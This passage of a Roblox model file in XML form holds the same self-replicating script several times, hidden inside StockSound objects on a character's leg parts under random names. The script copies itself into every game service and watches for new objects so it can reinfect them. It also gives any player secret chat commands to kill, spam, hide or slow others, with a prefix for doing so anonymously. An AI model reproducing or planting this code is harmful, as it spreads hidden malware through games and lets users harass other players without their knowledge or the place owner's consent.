for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX529">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-41.195694</X>
								<Y>1.31172359</Y>
								<Z>113.422325</Z>
								<R00>0.802155197</R00>
								<R01>9.38829107e-005</R01>
								<R02>0.597115636</R02>
								<R10>-0.000869754294</R10>
								<R11>0.999999106</R11>
								<R12>0.00101118628</R12>
								<R20>-0.59711498</R20>
								<R21>-0.00133047218</R21>
								<R22>0.802154541</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX530">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">xmoodt</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX531">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">mx5tubqj</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX532">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-40.3935394</X>
								<Y>1.31085384</Y>
								<Z>112.825211</Z>
								<R00>0.802155197</R00>
								<R01>9.38829107e-005</R01>
								<R02>0.597115636</R02>
								<R10>-0.000869754294</R10>
								<R11>0.999999106</R11>
								<R12>0.00101118628</R12>
								<R20>-0.59711498</R20>
								<R21>-0.00133047218</R21>
								<R22>0.802154541</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX533">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">5rduz2</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX534">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">4k5x03156</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
